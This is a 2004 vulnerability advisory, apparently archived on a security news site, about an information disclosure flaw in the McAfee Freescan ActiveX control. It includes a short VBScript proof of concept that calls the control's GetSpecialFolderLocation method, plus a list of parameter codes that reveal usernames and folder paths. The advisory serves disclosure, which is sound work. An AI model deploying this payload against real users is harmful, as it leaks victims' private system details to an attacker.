logo Home

Untitled Document

Home > Archives Advisories > Articles


McAfee Freescan ActiveX Information Disclosure Vulnerability
Date: 2004-04-08

Security-Corporation ID : SC-1003
URL : http://www.security-corporation.com/articles-20040408-001.html
Author : S G Masood <sgmasood@yahoo.com>
Product : McAfee Freescan
Source Message Contents :

McAfee Freescan ActiveX Information Disclosure [Additional Details & PoC]
-------------------------------------------------------------------------

I. ABSTRACT:

McAfee Freescan is an online ActiveX based Antivirus utility.


II. DESCRIPTION:

I've been working on an information disclosure vulnerability in McAfee Freescan for a few days. However, Rafel Ivgi disclosed it publicly on 6th April 2004 [1]. I have a few additional details to add to his original advisory.


III. IMPACT:

Disclosure of sensitive information to an unauthorised attacker.


IV. TECHNICAL DETAILS:

As Rafel Ivgi has mentioned in his advisory, there is a vulnerable method "BSTR GetSpecialFolderLocation(USERDEFINED eShellFolder)" which is provided by the ActiveX Control "McFreeScan.CoMcFreeScan.1" with classid "{EF791A6B-FC12-4C68-99EF-FB9E207A39E6}". This control is installed by the above mentioned product when it is used for the first time.

When the vulnerable method is accessed with specific parameters, it discloses sensitive information about the victim's computer to the attacker including the current logged in username and the path of several "shell folders". Rafel, in his advisory mentioned only two of the parameters but, according to my research, several more parameters (about 25) are available which enable the attacker to gather more information.


V. Proof of Concept:

There are about 25 parameters that the "GetSpecialFolderLocation" method can take. This PoC lists all of them:


<OBJECT ID="MCFS" WIDTH=0 HEIGHT=0 CLASSID="CLSID:EF791A6B-FC12-4C68-99EF-FB9E207A39E6"></OBJECT>

<script language=vbscript>

sPath = MCFS.GetSpecialFolderLocation(&H0000)

'Gets the path for the desktop folder.

document.write(sPath)

'The Available parameters for the method and their return values:
'
'&H0000=desktop
'&H0002=%username%start menu/programs
'&H0005=%username%/my documents
'&H0006=%username%/favorites
'&H0007=%username%start menu/programs/startup
'&H0008=%username%/recent
'&H0009=%username%/sendto
'&H0010=%username%/desktop
'&H0013=%username%/nethood
'&H0014=%windir%/fonts
'&H0015=%username%/templates
'&H0016=all users/start menu
'&H0017=all users/start menu/programs
'&H0018=all users/start menu/programs/startup
'&H0019=all users/desktop
'&H0020=%username%/Local Settings/Temporary Internet Files
'&H0021=%username%/cookies
'&H0022=%username%/local settings/history
'&H0023=All Users/Application Data
'&H0024=%windir%
'&H0025=%windir%/system32
'&H0026=%programfiles%
'&H0027=%username%/My Documents/My Pictures
'&H0028=%username%
'&H0029=%windir%

</script>


V. DISCLAIMER:

This advisory is meant only for the dissemination of information, alerting the general public about a security issue. Use this information at your own discretion.

In brief, the author is not responsible for any use, misuse, abuse of this information. Also, this information is provided "as is" without any warranty of any kind.

*PHEW*

EOF



 

arrowSearch Advisories

arrowNewsletter

Free weekly Newsletter.

Please enter your email address here:
arrowReport Vulnerability

If you've found a vulnerability please
click here to report it.
arrowPartners

newsnow

About Us | Contact Us | Advertise | email | Backend flag
Copyright © 2016-2017 Security Corporation - All Rights Reserved - Legal - Privacy Policy